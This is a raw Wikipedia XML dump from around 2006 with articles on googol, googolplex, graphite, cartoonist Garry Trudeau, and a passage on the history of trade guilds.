A '''googol''' is the [[large number|large]] [[number]] 10&lt;sup&gt;100&lt;/sup&gt;, that is, the [[numerical digit|digit]] 1 followed by one hundred [[0 (number)|zero]]s. The term was coined in [[1938]] by nine-year-old [[Milton Sirotta]], nephew of [[United States|American]] [[mathematician]] [[Edward Kasner]].  Kasner popularized the concept in his book ''Mathematics and the Imagination''.

A googol is approximately equal to the [[factorial]] of 70, and its only [[prime factor]]s are 2 and 5. In [[binary numeral system|binary]] it would take up 333 [[bit]]s.

The googol is of no particular significance in [[mathematics]], nor does it have any practical uses. Kasner created it to illustrate the difference between an unimaginably large number and [[infinity]], and in this role it is sometimes used in teaching mathematics.

==Writing out a googol==

A googol can be written in conventional notation, as follows:

:&lt;small&gt;1 googol = 10&lt;sup&gt;100&lt;/sup&gt; = 
&lt;small&gt;10 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000&lt;/small&gt;

==Relation to ''-illion'' number names==

Using the [[long and short scales|short scale]], a googol is equal to ten [[duotrigintillion]]. Using the [[long and short scales|long scale]], it is equal to ten thousand [[sexdecillion]] (or sedecillion), or ten sexdecilliard/sedecilliard.

==The shrinking googol==

Back when it was named in 1938, the googol was undeniably large. However, with the invention of fast computers and fast [[algorithm]]s, computation with numbers the size of a googol has become routine. For example, even the difficult problem of [[prime factorization]] is now fairly accessible for 100 digit numbers.

The largest number that can be represented by a typical pocket calculator for high school or scientific use is slightly less than a googol (e.g. 9.9999999 E+99, i.e. 9.9999999&lt;math&gt;\times&lt;/math&gt;10&lt;sup&gt;99&lt;/sup&gt;, or 0.99999999 googol). However, some models allow exponents larger than 99. (Note that since often these numbers are stored as [[floating point]] numbers, only an approximation of the actual number is stored and not the entire number.)

==Trivia==

*''Googol'' was the answer to the million-[[Pound Sterling|pound]] question on [[Who Wants To Be A Millionaire|''Who Wants to Be a Millionaire'']] when [[Charles Ingram|Major Charles Ingram]] attempted to defraud the quiz show on [[10 September]] [[2001]].

*If you drew a [[regular polygon]] with a googol sides that was 10&lt;sup&gt;27&lt;/sup&gt; times the size of the known [[universe]], it would still appear circular, even on the scale of a [[Planck length]].

*A googol is greater than the number of particles in the [[known universe]], which has been variously estimated from 10&lt;sup&gt;72&lt;/sup&gt; up to 10&lt;sup&gt;87&lt;/sup&gt;.

*[[Black hole]]s are presumed to evaporate because they faintly give off [[Hawking radiation]]; if so, a [[Supermassive_black_hole|supermassive black hole]] would take ''roughly'' a googol years to evaporate. [http://www.pbs.org/wnet/hawking/programs/html/prog-content_4-4.html]

*A googol is considerably ''less'' than the number described in the ancient Greek story of [[The Sand Reckoner]], namely &lt;math&gt;10^{8 \times 10^{16}}&lt;/math&gt;.

*A ''little googol'' is 2&lt;sup&gt;100&lt;/sup&gt; &amp;#8776; 1.267x10&lt;sup&gt;30&lt;/sup&gt; and a ''little googolplex'' is &lt;math&gt;2^{2^{100}} \approx 10^{3.8 \times 10^{29}}&lt;/math&gt;.

*The Internet [[search engine]] [[Google]] was named after this number. The original founders were going for 'Googol', but ended up with 'Google' due to a spelling mistake. [[Lawrence E. Page]]: &quot;[[Lucas Pereira]]: 'You idiots, you spelled &quot;Googol&quot; wrong!' But this was good, because google.com was available and googol.com was not. Now most people spell 'Googol' 'Google', so it worked out OK in the end.&quot;

==Googolplex ==

A [[googolplex]] is 1 followed by a googol of zeroes, or ten raised to the power of a googol: &lt;math&gt;{10}^\mbox{googol}&lt;/math&gt; = &lt;math&gt;{10}^{{10}^{100}}&lt;/math&gt;.

==See also==
*[[Googolplex]]
*[[Googlit]]
*[[Large number]]
*[[Names of large numbers]]

== References ==
*Kasner, Edward &amp; Newman, James Roy ''Mathematics and the Imagination'' (London: Penguin, [[1940]]; New York: Simon and Schuster, [[1967]]; Dover Pubns, April [[2001]], ISBN 0486417034).
*[http://afr.com/articles/2004/06/18/1087245103935.html 'Searching for the birth of the googol']
*[http://alan.blog-city.com/read/1003011.htm 'An evening with Googles Marissa Mayer']
*[http://www.j-bradford-delong.net/movable_type/2003_archives/000032.html 'Google and Larry Page']
*[http://www.googol.com/ googol.com]
*&quot;There Could Be No Google Without Edward Kasner&quot;, Carl Bialik, ''The Wall Street Journal Online'', June 14, 2004.
==External link==
* [http://www.google.com/corporate/history.html History from the Google website]

[[Category:Large numbers]]

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    </revision>
  </page>
  <page>
    <title>Googolhedron</title>
    <id>12364</id>
    <revision>
      <id>15910058</id>
      <timestamp>2004-10-11T15:40:03Z</timestamp>
      <contributor>
        <username>Eric119</username>
        <id>7110</id>
      </contributor>
      <comment>#REDIRECT [[Googol]]</comment>
      <text xml:space="preserve">#REDIRECT [[Googol]]</text>
    </revision>
  </page>
  <page>
    <title>Googolplex</title>
    <id>12365</id>
    <revision>
      <id>42102716</id>
      <timestamp>2006-03-03T21:16:52Z</timestamp>
      <contributor>
        <username>Billpg</username>
        <id>268454</id>
      </contributor>
      <comment>/* See also */ Removed [[Googlit]] (redirects to [[Google]])</comment>
      <text xml:space="preserve">A '''googolplex''' is the number &lt;math&gt;10^{(10^{100})}&lt;/math&gt; (or &lt;math&gt;{10}^{\rm googol}&lt;/math&gt;, or &lt;math&gt;{10}^{\mathrm{10,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000}}&lt;/math&gt;), that is, 1 followed by a [[googol]] (10&lt;sup&gt;100&lt;/sup&gt;) [[0 (number)|zeroes]].  The term googol was coined by [[Milton Sirotta]], nephew of [[mathematician]] [[Edward Kasner]].  Googolplex was coined by Kasner to define an especially large number by extension from his nephew's idea. 

A googol is greater than the number of [[elementary particle]]s in the [[known universe]], which has been variously estimated from 10&lt;sup&gt;72&lt;/sup&gt; up to 10&lt;sup&gt;87&lt;/sup&gt;. Since this is less than the number of zeroes in a googolplex, it would not be possible to write down or store a googolplex in [[decimal notation]], even if all the matter in the known universe were converted into paper and ink or disk drives.

Thinking of this another way, consider printing the digits of a googolplex in unreadable, 1-point font.  [[Tex|TeX]] 1pt font is .3514598mm per digit, which means it would take about &lt;math&gt;3.5*10^{96} &lt;/math&gt; meters to write in one point font. The known [[universe]] is estimated at &lt;math&gt; 7.4*10^{26} &lt;/math&gt; meters in [[diameter]], which means the distance to write the digits would be about &lt;math&gt;4.7*10^{69} &lt;/math&gt; times the diameter of the known universe. The time it would take to write such a number also renders the task implausible: if a person can write two digits per second, it would take around &lt;math&gt;1.1*10^{82}&lt;/math&gt; times the [[age of the universe]] to write down a googolplex.

Even then, the magnitude of the googolplex is not as large as some of the specially defined extraordinarily [[large number]]s, such as those using [[Knuth's up-arrow notation]] or [[Steinhaus-Moser notation]]. Even more simply, one can name numbers larger than a googolplex with fewer symbols, for example, 
:&lt;math&gt;9^{9^{9^{9^{9^9}}}}
&lt;/math&gt;,
is much larger.  [[Graham's number]], larger still, is perhaps the largest [[natural number]] mathematicians actually have a use for.

'''Googolplex''' is a '''[[Cardinal_number#Motivation|finite cardinal number]]'''.

== In popular culture ==

*Googolplex is the name of a [[movie theatre|multiplex cinema]] in the fictional town of [[Springfield (The Simpsons)|Springfield]] in the television series ''[[The Simpsons]]''.

*[[Google]] refers to their headquarters as the &quot;[[Googleplex]]&quot;.

*In ''[[Back to the Future Part III]]'', googolplex was used by [[Dr. Emmett Brown]] to describe his girlfriend, Clara Clayton:
*:''Clara was one in a million. One in a billion. One in a googolplex!''

==See also==
*[[Googol]]
*[[Large_numbers#Standardized_system_of_writing_very_large_numbers|Standardized system of writing very large numbers]]
*[[Names of large numbers]]

== External links ==
* Known [[prime factor]]s of googolplex + n (0 &amp;lt;= n &amp;lt;= 999): http://www.alpertron.com.ar/GOOGOL.HTM
* Another Googolplex page: http://www.procrastinators.org/googolplex.html
* Includes [[C_programming_language|C code]] to count to Googolplex: http://www.fpx.de/fp/Fun/Googolplex/
* Comparisons to other large numbers: http://home.earthlink.net/~mrob/pub/math/numbers-15.html
* Googolplex &amp;#8776; the number of [[State_function|states]] in a [[black hole]] with a mass roughly equivalent to the [[Andromeda Galaxy]]: http://www.fpx.de/fp/Fun/Googolplex/GetAGoogol.html
* Googolplex is &quot;inconceivable&quot; but still &quot;describable&quot;: http://jimvb.home.mindspring.com/hamlet.htm

[[Category:Integers]]
[[Category:Large numbers]]

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  </page>
  <page>
    <title>Graphite</title>
    <id>12366</id>
    <revision>
      <id>42040415</id>
      <timestamp>2006-03-03T11:23:31Z</timestamp>
      <contributor>
        <ip>84.192.152.139</ip>
      </contributor>
      <comment>/* Spelling mistake */</comment>
      <text xml:space="preserve">{| border=1 cellspacing=0 align=right cellpadding=0 width=250 valign=top style=&quot;margin-left:1em&quot;
|----- align=center bgcolor=&quot;#9966FF&quot;
!colspan=2 align=center|Graphite
|----- align=center
!colspan=2|[[Image:GraphiteUSGOV.jpg|thumb|center]]
|----- align=center bgcolor=&quot;#9966FF&quot;
!colspan=2|General
|-----
|Category|| Native [[mineral]]
|-----
|[[Chemical formula]]|| [[Carbon]], C
|----- align=&quot;center&quot; bgcolor=&quot;#9966FF&quot;
!colspan=2|Identification
|-----
| Color || Steel black, to gray.
|-----
| [[Crystal habit]] || Tabular, six-sided [[Foliation (geology)|foliated]] masses, granular to compacted masses.
|-----
| [[Crystal structure|Crystal system]] || [[Hexagonal (crystal system)|Hexagonal]] (6/m 2/m 2/m)
|-----
| [[Cleavage (crystal)|Cleavage]]|| Perfect in one direction.
|-----
| [[Fracture]]|| Flaky, otherwise rough when not on clevage
|-----
| [[Mohs Scale]] hardness || 1 - 2
|-----
| [[Lustre]]|| Dull metallic, earthy
|-----
| [[Refractive index]]|| Opaque
|----- 
| [[Pleochroism]]|| None
|----- 
| [[Streak]]|| Black
|----- 
| [[Density]]|| 2.09&amp;ndash;2.23 g/cm&amp;sup3;
|-----
| [[Fusibility]]|| ?
|-----
| [[Solubility]]|| Molten Ni
|----- align=&quot;center&quot; bgcolor=&quot;#9966FF&quot;
|-----
|}

'''Graphite''' (named by Abraham Gottlob Werner in [[1789]], from the [[Greek language|Greek]] &amp;#947;&amp;#961;&amp;#945;&amp;#966;&amp;#949;&amp;#953;&amp;#957;: &quot;to draw/write&quot;, for its use in [[pencils]]) is one of the [[allotropes of carbon]].  Unlike [[diamond]], graphite is a [[Conductor (material)|conductor]], and can be used, for instance, as the material in the electrodes of an electrical [[arc lamp]]. Graphite holds the distinction of being the most stable form of solid carbon ever discovered.

== Occurrence ==

Associated minerals include: [[quartz]], [[calcite]], [[mica]]s, [[iron]] [[meteorite]]s, and [[tourmaline]]s. Notable occurrences include [[New York]] and [[Texas]] in the USA, [[Russia]], [[Mexico]], [[Greenland]], and [[India]].

Other characteristics: thin flakes are flexible but inelastic, mineral can leave black marks on hands and paper, conducts electricity, and displays [[superlubricity]]. Best field indicators are softness, luster, density and streak.

[[Image:GraphiteOreUSGOV.jpg|thumb|Graphite ore]]

== Structure ==

Each [[carbon]] [[atom]] is [[covalent|covalently]] [[Chemical bond|bonded]] to three other surrounding carbon atoms. The flat sheets of carbon atoms are bonded into [[Hexagonal (crystal system)|hexagonal structures]]. These exist in layers, which are not covalently connected to the surrounding layers.

The [[unit cell]] dimensions are ''a'' = ''b'' = 245.6 [[picometre]]s, ''c'' = 669.4 pm. The carbon-carbon [[bond length]] in the bulk form is 141.8 pm, and the interlayer spacing is ''c''/2 = 334.7 pm.

Each carbon atom possesses an sp&lt;sup&gt;2&lt;/sup&gt; [[orbital hybridisation]]. The [[electron configuration|pi orbital electrons]] delocalized across the hexagonal atomic sheets of carbon contribute the graphite's [[conductivity]]. In an oriented piece of graphite, conductivity parallel to these sheets is greater than that perpendicular to these sheets.

The bond between the atoms within a layer is strong but the force between two layers of graphite is weak. Therefore, layers of it can slip over each other making it soft.

==Detailed properties and uses==

The [[Acoustics|acoustic]] and [[thermal]] properties of graphite are  highly anisotropic, since [[phonons]] propagate very quickly along the tightly-bound planes, but are slower to travel from one plane to another.

Graphite is able to [[conduct]] [[electricity]] due to the unpaired fourth [[electron]] in each carbon atom. This unpaired 4th electron forms [[delocalised]] planes above and below the planes of the carbon atoms. These electrons are free to move, so are able to conduct electricity. However, the electricity is only conducted within the plane of the layers.

Graphite powder is used as a dry [[lubricant]], although it might be thought that this industrially important property is due entirely to the [[cleavage (crystal)|loose interlamellar coupling]] between sheets in the structure, in fact in a [[vacuum]] environment (such as in technologies for use in [[Outer space|space]]), graphite was found to be a very poor lubricant, leading to the discovery that in fact lubrication is due to [[adsorbed]] air and water between the layers, unlike other layered dry lubricants such as [[molybdenum disulfide]]. Recent studies suggest that an effect called [[superlubricity]] can also account for this effect. 

When a large number of crystallographic defects bind these planes together, graphite loses its lubrication properties and becomes what is known as [[pyrolytic carbon]], a useful material in blood-contacting implants such as [[prosthetic]] [[heart valve]]s. 

Natural and crystalline graphites are not often used in pure form as structural materials due to their shear-planes, brittleness and inconsistent mechanical properties.

In its pure glassy (isotropic) synthetic forms, [[pyrolytic graphite]] and [[carbon fiber]]  graphite is an extremely strong, heat-resistant (to 3000 &amp;deg;C) material, used in reentry shields for missile nosecones, [[solid rocket]] engines, [[Pebble bed reactor|high temperature reactors]], [[brake]] shoes, [[electric motor]] brushes and as electrodes in [[EDM]] electrical discharge machines.

Intumescent or expandable graphites are used in fire seals, fitted around the perimeter of a fire door. During a fire the graphite intumesces (expands and chars) to resist fire penetration and prevent the spread of fumes. A typical start expansion temperature (SET) is between 150 and 300 degrees Celsius.

[[Carbon fiber]] and [[carbon nanotube]]s are also used to [[graphite reinforced plastic]]s, and in heat-resistant composites such as [[reinforced carbon-carbon]] (RCC)).  They have also successfully [[reinforced concrete]]. The mechanical properties of carbon fiber graphite-reinforced plastic composites and grey [[cast iron]] are strongly influenced by the role of graphite in these materials.

Graphite also finds use as a matrix and [[Neutron_moderator|moderator]] within [[nuclear reactor]]s.  Its low [[neutron]] [[Cross section (physics)|cross section]] also recommends it for use in proposed [[thermonuclear|fusion]] reactors.  Care must be taken that reactor-grade graphite is free of neutron absorbing materials such as [[boron]], widely used as the seed electrode in commercial graphite deposition systems-- this caused the failure of the German's [[World War II]] graphite-based nuclear reactors.  Since they could not isolate the difficulty they were forced to use far more expensive [[heavy water]] moderators.

==Media==
{{multi-video start}}
{{multi-video item |
  filename      = graphite stereo animation.gif |
  title         = Graphite animation |
  description   = Rotating graphite [[stereogram]].  (2.79 [[Megabyte|MB]], [[animated GIF]] format). |
  format        = [[animated GIF]]
}}
{{multi-video end}}

== See also ==
* [[Carbon fiber]]
* [[Pyrolytic graphite]]
* [[Diamond]]
* [[Lonsdaleite]]
* [[Graphene]]
* [[Carbon nanotube]]
* [[Pencil lead]]

==Reference==
* Klein, Cornelis and Cornelius S. Hurlbut, Jr. (1985) ''Manual of Mineralogy: after Dana'' 20&lt;sup&gt;th&lt;/sup&gt; ed. ISBN 0-471-80580-7

== External links ==
{{Commons|Graphite}}
*[http://www.phy.mtu.edu/~jaszczak/graphite.html  The Graphite Page]
*[http://mineral.galleries.com/minerals/elements/graphite/graphite.htm Mineral galleries]
*[http://www.webmineral.com/data/Graphite.shtml Webmineral]
*[http://www.mindat.org/show.php?id=1740&amp;ld=1&amp;pho= Mindat w/ locations]
*[http://www.astroflame.com/intumescent.html Intumescent graphite for fireproofing]

[[Category:Chemical elements|Carbon, Graphite]]
[[Category:Native element minerals]]
[[Category:Lubricants]]
[[Category:Art materials]]
[[Category:Carbon forms]]
[[Category:Refractory materials]]

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  <page>
    <title>Garry Trudeau</title>
    <id>12367</id>
    <revision>
      <id>40363904</id>
      <timestamp>2006-02-20T01:54:18Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">[[Image:Garry Trudeau.jpg|frame|Garry Trudeau]]

'''Garretson Beekman Trudeau''' (born [[July 21]], [[1948]]) is an American [[cartoonist]].  He attended [[St. Paul's School (U.S.)|St. Paul's School]] and then [[Yale University]] in the late [[1960s]], where he developed his most famous creation, the daily [[comic strip]] [[Doonesbury]], and was a member of [[Scroll and Key]]. He also attended the Yale School of Art, earning his M.F.A. in graphic design in 1973.

Doonesbury is [[print syndication|syndicated]] to almost 1,400 newspapers worldwide and is accessible online in association with [[Slate_Magazine|Slate]] at [http://www.doonesbury.com/ doonesbury.com].

In [[1975]], he became the first comic strip artist to win a [[Pulitzer Prize]] for Editorial Cartooning.  The award was controversial at the time, since it is traditionally awarded to editorial page cartoonists. He is also the recipient of an [[Academy Award for Animated Short Film|Oscar]] in the category for Animated Short Film, for [[The Doonesbury Special]], with [[John Hubley]] and [[Faith Hubley]].

His other awards include the [[National Cartoonist Society]] Newspaper Comic Strip Award for 1994, and their [[Reuben Award]] for 1995.

He was made a fellow of the [[American Academy of Arts and Sciences]] in [[1993]].
[[Wiley Miller]], fellow comic strip artist responsible for ''[[Non Sequitur (comic strip)|Non Sequitur]]'',  called Trudeau &quot;far and away the most influential editorial cartoonist in the last 25 years.&quot;

In addition to his work on Doonesbury, Trudeau has written plays (such as ''Rap Master Ronnie'' and a ''Doonesbury'' musical) and the [[1988]] [[Home Box Office|HBO]] [[miniseries]] ''[[Tanner '88]]'', directed by [[Robert Altman]].  

He married the journalist [[Jane Pauley]] in [[1980]] and lives on Central Park West in New York City. He is distantly related to former [[Canada|Canadian]] [[prime minister]] [[Pierre Elliott Trudeau]].

Trudeau maintains a low personal profile.  A rare and early appearance on television was as a guest on ''[[To Tell the Truth]]'' in [[1971]], where all but one of the panelists failed to guess his identity.

In [[2004]], Trudeau made a widely-circulated offer of a $10,000 reward for proof that [[George W. Bush]] fulfilled his [[military]] duties in the [[1970s]].  See [[George W. Bush military service controversy]] for more complete coverage.

He also famously said in Richard Saul Wurman’s Follow The Yellow Brick Road, that, “Whether revered or reviled in their lifetimes, history’s movers framed their questions in ways that were entirely disrespectful of conventional wisdom. Civilization has always advanced in the shimmering wake of its discontents.&quot;

==See also==

*[[Saranac Lake, New York]]

==External links==
*{{imdb name|id=0874034|name=Garry Trudeau}}
*[http://www.reuben.org/ncs/awards.asp NCS Awards]

[[Category:1948 births|Trudeau, Garry]]
[[Category:Living people|Trudeau, Garry]]
[[Category:Comic strip cartoonists|Trudeau, Garry]]
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[[Category:French Americans|Trudeau, Garry]]
[[Category:Yale alumni|Trudeau, Garry]]

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  <page>
    <title>Guild</title>
    <id>12369</id>
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      <timestamp>2006-03-02T16:36:18Z</timestamp>
      <contributor>
        <username>Larrybroker</username>
        <id>986470</id>
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      <comment>/* Modern guilds */</comment>
      <text xml:space="preserve">A '''guild''' is an [[Voluntary association|association]] of people of the same trade or pursuits (with a similar [[skill]] or [[craft]]), formed to protect mutual interests and maintain standards of morality or conduct. Historically they were formed to [[benefit society|benefit societies]] or [[small business]] associations, also referred to as a trade union of sorts, since each crafter was a self-employed individual [[artisan]] or part of a small craft shop or co-operative.  They exist in modern and medieval incarnations, both of which are discussed in this article.  One's view of guilds tends to be heavily colored by one's view of [[political economy]], since the whole history of [[trade]], [[technology]], [[intellectual property]], regulated [[profession]]s, [[social security]], and [[professional ethics]] are entwined with the history of the guilds in Europe.

==Early history==
Regulated professions were a feature of the ancient and classical world.  The [[Code of Hammurabi]] specified a death penalty for [[builder]]s, or [[masonry|masons]], whose buildings fell on the inhabitants.  [[Hammurabi]] himself had been a stonemason, so this could be considered an early example of self-regulation.  The [[Hippocratic Oath]] applies to this day as the basis of the modern [[physician]]s' [[ethical code]].  All known [[legal code]]s include some limits on the practices or powers of [[jurist]]s, e.g. the [[Rules of Civil Procedure]], or [[politician]]s, e.g. the rules of [[parliamentary debate]].  It has generally been recognized that those in a position of special knowledge or trust were to be held accountable to the public for their advice and services.

[[Islamic civilization]] extended this to a degree to the [[artisan]] as well — most notably to the [[warraqeen]], &quot;those who work with paper&quot;.  [[Early Muslim philosophy|Early Muslim]]s were heavily engaged in translating and absorbing all [[ilm]] (&quot;[[knowledge]]&quot;) from all other known civilizations, &quot;as far as [[China]].&quot;  Critically analyzing, accepting, rejecting, improving and codifying knowledge from other cultures became a key activity, and a [[knowledge industry]] as presently understood began to evolve.  By the beginning of the [[9th century]], paper had become the standard medium of written communication, and most warraqeen were engaged in paper-making, book-selling, and taking the dictation of authors, to whom they were obliged to pay royalties on works, and who had final discretion on the contents.  As the standard means of presentation of a new work was its public dictation in the [[mosque]] or [[madrassah]], in front of many scholars and students, a high degree of professional respect was required to ensure that other warraqeen did not simply make and sell copies, or that authors did not lose faith in the warraqeen or this system of publication.  This was an early guild.

This publication industry that spanned the Muslim empire from the first works under this system in [[874]] to the 15th century, gave rise to all concerns a modern [[intellectual property law]]yer would recognize:  by means of the tens of thousands of books per year so published, [[instructional capital]] from one group of artisans admired for their work could be spread to other artisans elsewhere who could copy it and perhaps &quot;[[passing off|pass it off]]&quot; as the original, exploiting the [[social capital]] built up at great expense by the originators of techniques.  Artisans began to take various ways to protect their proprietary interests, restrict access to techniques, materials, and to markets.

==European history==
In the [[Early Middle Ages]] most of the Roman craft organizations, formed as religious confraternities, had disappeared with the apparent exceptions of stonecutters and perhaps glassmakers.  [[Gregory of Tours]] tells a miraculous tale of a builder whose art and techniques suddenly left him, but were restored by an apparition of the Virgin Mary in a dream. Michel Rouche (1987 pp431ff) remarks that the story speaks for the importance of practically transmitted journeymanship.

The early egalitarian communities called &quot;guilds&quot; (for the gold deposited in their common funds) were denounced by Catholic clergy for their &quot;conjurations&quot;&amp;mdash;the binding oaths sworn among artisans to support one another in adversity and back one another in feuds or in business ventures. The occasion for the drunken banquets at which these oaths were made was [[December 26]], the pagan feast of [[Yule|Jul]]: Bishop [[Hincmar]], in 858 sought vainly to Christianize them (Rouche 1987 p 432). 
 
By about 1100 European '''guilds''' (or '''gilds''') and [[Livery Company|livery companies]] had evolved into an approximate equivalent to modern-day [[business]] organizations such as [[institute]]s or [[consortium]]s.  They had strong controls over [[instructional capital]], and the modern concepts of a lifetime progression of [[apprentice]] to [[craftsman]], [[journeyer]], and eventually to widely-recognized [[master craftsman|master]] and [[master craftsman|grandmaster]] began to emerge. The appearance of the European guilds is believed to be tied to the emergent [[money]] economy, and to [[urbanization]]. Before this time it was not possible to run a money-driven organization, as [[commodity money]] was the normal way of doing business.

The guild was at the center of [[Europe|European]] handicraft organization.  The guild system reached a mature state in [[Germany]] in the [[Middle Ages]], circa [[1300]]. The guilds were identified with organizations enjoying certain [[privilege]]s ([[letters patent]]), usually issued by the [[monarch|king]] or [[state]] and overseen by local town business authorities (some kind of [[chamber of commerce]]).  These were the predecessors of the modern [[patent]] and [[trademark]] system.

Like their Muslim predecessors, European guilds imposed long periods of [[apprenticeship]], and made it difficult or impossible for those lacking the approval of their peers to gain access to materials or knowledge, or sell into certain markets.   These are defining characteristics of [[mercantilism]] in economics, which dominated most European thinking about [[political economy]] until the rise of [[classical economics]].  States applied this thinking, for instance, to restrict the flow of gold and silver to military opponents, as gold was useful to buy weapons and hire [[mercenaries]].

The guilds also maintained funds in order to support infirm or elderly members, as well as widows and orphans of guild members, funeral benefits, and a 'tramping' allowance for those needing to travel to find work.

==Organization==
The guild was made up by experienced and confirmed experts in their field of handicraft. They were called [[master craftsman|master craftsmen]]. Before a new employee could rise to the level of mastery, he had to go through a schooling period during which he was first called an [[apprenticeship|apprentice]]. After this period he could rise to the level of [[journeyman]].  Apprentices would typically not learn more than the most basic techniques until they were trusted by their peers to keep the guild's or company's secrets.

Some argue that the title 'journeyman' is derived from the itinerant nature of the position. However, it is more likely that the title derives from the French word for 'day' (''jour'') from which came the middle English word ''journei''. Journeymen were generally paid by the day and were thus day laborers. After being employed by a master for several years, and after producing a qualifying piece of work, the apprentice attained the rank of journeyman and was given a letter which entitled him to travel to other towns and countries to learn the art from other masters. These journeys could span large parts of Europe and were an unofficial way of communicating new methods and techniques.

After this journey and several years of experience, a journeyman could be elected to become a master craftsman. This would require the approval of all masters of a guild, a donation of money and other goods, and in many practical handicrafts the production of a so-called [[masterpiece]], which would illustrate the abilities of the aspiring master craftsman.

The medieval guild was offered a letters patent (usually from the king) and held an [[oligopoly]] on its trade in the town in which it operated: handicraft workers were forbidden by law to run any business if they were not members of a guild, and only masters were allowed to be members of a guild. Before these privileges were legislated, these groups of handicraft workers were simply called 'handicraft associations'.

The town authorities were represented in the guild meetings and thus had a means of controlling the handicraft activities.  This was important since towns very often depended on a good reputation for export of a narrow range of products, on which not only the guild's, but the town's, reputation depended. Controls on the association of physical locations to well-known exported products, e.g. wine from the [[Champagne, France|Champagne]] and [[Bordeaux]] regions of [[France]], [[fine china]] from certain cities in [[Holland]], [[lace]] from [[Chantilly]], etc., helped to establish a town's place in global commerce — this led to modern [[trademark]]s.

In many German towns, the more powerful guilds attempted to influence or even control town authorities. In the [[14th century]], this led to numerous bloody uprisings, during which the guilds dissolved town councils and detained patricians in an attempt to increase their influence.

==Fall of the guilds==
Despite its advantages for agricultural and artisan producers, the guild became a target of much criticism towards the end of the 1700s and the beginning of the 1800s. They were believed to oppose [[free trade]] and hinder [[technological innovation]], [[technology transfer]] and [[business development]].  According to several accounts of this time, guilds became increasingly involved in simple territorial struggles against each other and against free practitioners of their arts, but the neutrality of these claims is doubted.  It may be [[propaganda]].

Two of the most outspoken critics of the guild system were [[Jean-Jacques Rousseau]] and [[Adam Smith]], and all over Europe a tendency to oppose government control over trades in favour of [[laissez-faire]] [[free market]] systems was growing rapidly and making its way into the political and legal system. Even [[Karl Marx]] (not normally in league with Adam Smith) in his ''[[Communist Manifesto]]'' criticized the guild system for its rigid gradation of social rank and the relation of opressor/opressed entailed by this system. From this time comes the low regard in which some people hold the guilds to this day. For example, Smith writes in ''[[The Wealth of Nations]]'' (Book I, Chapter X, paragraph 72):

:It is to prevent this reduction of price, and consequently of wages and profit, by restraining that free competition which would most certainly occasion it, that all corporations, and the greater part of corporation laws, have been established. (...) and when any particular class of artificers or traders thought proper to act as a corporation without a charter, such adulterine '''guilds''', as they were called, were not always disfranchised upon that account, but obliged to fine annually to the king for permission to exercise their usurped privileges.

In part due to their own inability to control unruly [[corporation|corporate]] behavior, the tide turned against the guilds.  

Because of industrialization and modernization of the trade and industry, and the rise of powerful nation-states that could directly issue [[patent]] and [[copyright]] protections &amp;mdash; often revealing the [[trade secret]]s &amp;mdash; the guilds' power faded.  After the [[French Revolution]] they fell in most European nations through the [[1800s]], as the guild system was disbanded and replaced by free trade laws. By that time, many former handicraft workers had been forced to seek employment in the emerging manufacturing industries, using not closely-guarded techniques but standardized methods controlled by [[corporation]]s.

This was not uniformly viewed as a [[public good]]:  [[Karl Marx]] criticized the [[Marx's_theory_of_alienation|alienation]] of the worker from the products of work that this created, and the [[exploitation]] possible since materials and hours of work were closely controlled by the owners of the new, large scale [[means of production]].

==Influence of guilds==
Guilds are sometimes said to be the precursors of modern [[trade union]]s, and also, paradoxically, of some aspects of the modern [[corporation]].  Guilds, however, were groups of self-employed skilled craftsmen with ownership and control over the materials and tools they needed to produce their goods. Guilds were, in other words, small business associations and thus had very little in common with trade unions. However, the journeymen organizations, which were at the time illegal, may have been influential.

The exclusive privilege of a guild to produce certain goods or provide certain services was similar in spirit and character with the original [[patent]] systems that surfaced in England in [[1624]].  These systems played a role in ending the guilds' dominance, as [[trade secret]] methods were superseded by modern firms directly revealing their techniques, and counting on the state to enforce their legal [[monopoly]].

Some guild traditions still remain in a few handicrafts, in Europe especially among [[shoemaker]]s and [[barber]]s.  Some of the [[ritual]] traditions of the guilds were conserved in [[order (religious)|order]] organizations such as the [[Freemasonry|Freemasons]].  These are, however, not very important economically except as reminders of the responsibilities of some trades toward the public.

Modern [[antitrust]] law could be said to be derived in some ways from the original statutes by which the guilds were abolished in Europe.

== Modern guilds ==
Modern guilds exist in different forms around the world. In many European countries guilds have had a revival as local organisations for craftsmen, primarily in traditional skills.  They may function as fora for developing competence and are often the local units of a national employers organization.  

In the [[United States]] guilds exist in several fields.  The [[Screen Actors Guild]] and [[Writers Guild of America]] are capable of exercising very strong control in [[Hollywood]] because a very strong and rigid system of intellectual property respect exists (as with some medieval trades).  These guilds exclude other actors and writers who do not abide by the strict rules for competing within the film and television industry in America. 

Real estate brokerage is an excellent example of a modern American guild. Telltale signs of guild behavior are on display in real estate brokerage: standard pricing (6% of the home price), strong affiliation among all practicioners, self-regulation (see [[National Association of Realtors]]), strong cultural identity (see [[Realtor]]), little price variation with quality differences, and traditional methods in use by all practicioners. In September 2005, the U.S. Department of Justice filed an antitrust lawsuit against the National Association of Realtors challenging NAR practices that, DOJ asserts, prevent competition from practicioners who use different methods. The DOJ and the Federal Trade Commission in 2005 advocated against state laws, supported by NAR, that disadvantage new kinds of brokers. For a description of the DOJ action, see [http://www.usdoj.gov/atr/cases/nar.htm].  U.S. v. National Assoc. of Realtors, U.S. District Court Norther District Illinois, Eastern Division, September 7, 2005, Civil Action No. 05C-5140.

Scholars from the [[history of ideas]] have noticed that [[consultant]]s play a part similar to that of the journeymen of the guild systems: they often travel a lot, work at many different companies and spread new practices and knowledge between companies and corporations.

Many professional organizations similarly resemble the guild structure. Professions such as architecture, engineering, and land surveying require varying lengths of apprenticeships before one can be granted a 'professional' certification. These certifications hold great legal weight and are required in most states as a prerequisite to doing business there.

[[Thomas Malone]] of the [[Massachusetts Institute of Technology]] champions a modern variant of the guild structure for modern &quot;e-lancers&quot;, professionals who do mostly [[telework]] for multiple employers.  [[Insurance]] including any [[professional liability]], [[intellectual capital]] protections, an [[ethical code]] perhaps enforced by peer pressure and software, and other benefits of a strong association of producers of knowledge, benefit from [[economies of scale]], and may prevent cut-throat competition that leads to inferior services undercutting prices.  And, as with historical guilds, resist foreign competition.

